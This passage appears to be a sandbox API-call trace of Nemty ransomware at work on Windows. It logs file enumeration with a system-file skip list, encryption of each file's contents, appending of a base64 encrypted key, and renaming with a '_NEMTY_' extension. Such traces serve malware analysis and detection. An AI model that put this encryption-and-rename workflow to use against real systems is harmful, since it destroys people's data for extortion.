pszString="xN8ulCid0yZvrQqvUn6T0WHpDGcdeUutfm9nT8G1UfE9CCIXtHTi6dobanLgGx8O\r\nQ2jywVd7fsK88TAdKlUHurhgGO1OyaD/elLjUfWPHtVqAtHDsVqc5Q9DdMeL+O+4\r\n0sMRgUxrZqRR4irtkQu/DSA0Bu3trvFKHWmQKshORWU1qlQh2wOzfMjViZa6b9ay\r\nRGD/py5ZHylxLvA5YrkO3naINYf5xx2nLrHRa1OjL+h1+lx6h9PK0/am0grc46PA\r\nZhIcCOUEngx4UTtIBC3YEvPjMVxjVd5pVstV7ARsGmNvlY6mUOFya7qP0pRpCGOc\r\n7DXEk0LJNW7UXKXnU2FxKQ==\r\n", pcchString=0x653e29c) returned 1 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.160] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0192.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0192.160] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.160] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0192.165] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.165] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0192.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.165] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0192.165] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.165] CloseHandle (hObject=0x2f0) returned 1 [0192.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.166] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus._nemty_kgobjgd_")) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.167] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.RUS", cAlternateFileName="QUICKT~1.RUS")) returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2=".") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="..") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="...") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="windows") returned -1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="$RECYCLE.BIN") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="rsa") returned -1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="NTDETECT.COM") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="ntldr") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="MSDOS.SYS") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="IO.SYS") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="boot.ini") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="boot.ini") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="ntuser.dat") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="desktop.ini") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="CONFIG.SYS") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="RECYCLER") returned -1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="BOOTSECT.BAK") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="bootmgr") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="programdata") returned 1 [0192.167] lstrcmpiW (lpString1="QuickTime.RUS", lpString2="appdata") returned 1 [0192.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUS", lpUsedDefaultChar=0x0) returned 13 [0192.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUS", lpUsedDefaultChar=0x0) returned 13 [0192.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUS", lpUsedDefaultChar=0x0) returned 13 [0192.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.RUS", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.RUS", lpUsedDefaultChar=0x0) returned 13 [0192.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.168] Sleep (dwMilliseconds=0x5) [0192.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26310f50, dwHighDateTime=0x1d561e8)) [0192.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26310f50, dwHighDateTime=0x1d561e8)) [0192.179] GetLastError () returned 0x0 [0192.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.180] GetLastError () returned 0x0 [0192.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.180] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.180] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.180] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.180] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="qkOH6wToOcYxRlb1caJg6ddAAZvJfbnSSrjHwfhpDldeU84nYqZQHKMBfQs4IhW5\r\nbTJX280AM+n/PnNs1Xi/E68SV+bPUHf0xoiWnISEyqfNOrbSDqRK4ufVds3FJOjx\r\nhd1vr18aSqMfR/UDlSF+nBkczm7xQR/tgs7eo9VFCC0w7p3emva65vE6kr/tmhKR\r\nAUtKemfRJWIxEYCs7qdQxOh25zNRZ1ebE2IrcMbqB8ibYCZFNDRAxZUHIhT8H47p\r\nec4fTbQpuE4zvRS89iDghZ2WKhw7aGpl759pkrevmo+E6JlZWZrhlTrbwj0+weBd\r\n4eaddC9DKq/ypIztSpbzmg==\r\n", pcchString=0x653e29c) returned 1 [0192.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\QuickTime.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\quicktime.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.180] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.181] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.181] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.182] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.182] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.182] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.183] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.183] CloseHandle (hObject=0x2f0) returned 1 [0192.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.183] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\QuickTime.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\quicktime.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\QuickTime.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\quicktime.rus._nemty_kgobjgd_")) returned 1 [0192.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.184] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.RUS", cAlternateFileName="WINDOW~1.RUS")) returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2=".") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="..") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="...") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="windows") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="$RECYCLE.BIN") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="rsa") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="NTDETECT.COM") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="ntldr") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="MSDOS.SYS") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="IO.SYS") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="boot.ini") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="boot.ini") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="ntuser.dat") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="desktop.ini") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="CONFIG.SYS") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="RECYCLER") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="BOOTSECT.BAK") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="bootmgr") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="programdata") returned 1 [0192.184] lstrcmpiW (lpString1="WindowsMedia.RUS", lpString2="appdata") returned 1 [0192.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUS", lpUsedDefaultChar=0x0) returned 16 [0192.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0192.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUS", lpUsedDefaultChar=0x0) returned 16 [0192.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0192.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUS", lpUsedDefaultChar=0x0) returned 16 [0192.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUS", lpUsedDefaultChar=0x0) returned 16 [0192.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.185] RtlAllocateHeap 